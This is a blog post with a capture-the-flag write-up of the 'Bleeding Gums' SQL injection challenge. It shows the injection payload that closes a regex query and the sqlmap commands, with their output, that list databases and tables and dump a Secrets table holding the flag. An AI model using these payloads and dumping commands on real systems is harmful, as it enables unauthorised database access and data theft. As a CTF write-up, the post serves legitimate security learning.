2019 Stonecutters - Bleeding Gums

In honor of Bleeding Gums Murphy, who passed away 24 years ago today; I thought it would be nice to pay tribute to him by publishing my write-up for the Stonecutter's "Bleeding Gums"challenge.

RIP Bleeding Gums

Bleeding Gums was an empty website aside from a single search field as seen below:


When I searched for the letter "a", I saw the table below:

Search Results

When I searched for the letter "b", I saw a smaller data set returned and some of the artists were different.

Next, I searched for years and album titles but the query only seemed to search for Artists.
Searching for ' gave me the following SQL error:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')'' at line 1

I threw sqlmap at it but I wasn't able to get anything out of it. I then started to play with the injection manually.

With this particular challenge, I noticed that -- and # would cause the error messages to be different. For example, ' OR 1=1 -- would return blank page, but 'OR 1=1 # would give me this error:

Error: Got error 'missing ) at offset 4' from regexp

The injection was obviously missing a ) so I added it to various places in the query and played with the 1=1 test and I found that ")' or 1=1 # " would return the full table of Artists.
At this point I felt that it was worth trying sqlmap again. I always first confirm that sqlmap will work for my purposes by using the --current-user option as seen in my command below:

# sqlmap -u "" --data="a=)'*%20#%20" --current-user 

This was successful and returned the following information:

[21:57:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.3
back-end DBMS: MySQL >= 5.0
[21:57:32] [INFO] fetching current user
current user:    'ctf@localhost'
[21:57:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/'

I next did a -a. No flag was discovered in this output, or I otherwise overlooked it, but I did notice another database called "ctf."  Using sqlmap, I stepped through identifying what databases existed and what tables they had.

First, I used --dbs to show me the available databases:

# sqlmap -u "" --data="a=)'*%20#%20" --dbs
[*] ctf
[*] information_schema
[*] test

The CTF database stuck out as this was after all, a CTF, so I then used SQLmap to dump the tables for that database:

# sqlmap -u "" --data="a=)'*%20#%20" --tables -D "ctf"
Database: ctf
[2 tables]
| Albums  |
| Secrets |

Secrets looked super interesting so I then dumped the table entries for the "Secrets" table:

# sqlmap -u "" --data="a=)'*%20#%20" -T "Secrets" --dump  

Which presented me with the flag:

Database: ctf
Table: Secrets
[1 entry]
| secret                              |
| flag{SelmaSmokesJazzCigarettes}     |

Another fun SQli challenge. sqlmap is such a powerful tool, it's easy to throw it at something and expect magic to happen. That's not always the case so when you see errors - keep trying!


Popular posts from this blog

The Audacity of Some CTFs

Code Name: Treehouse of Horror CTF

2020 HTH CTF - Cloud Challenges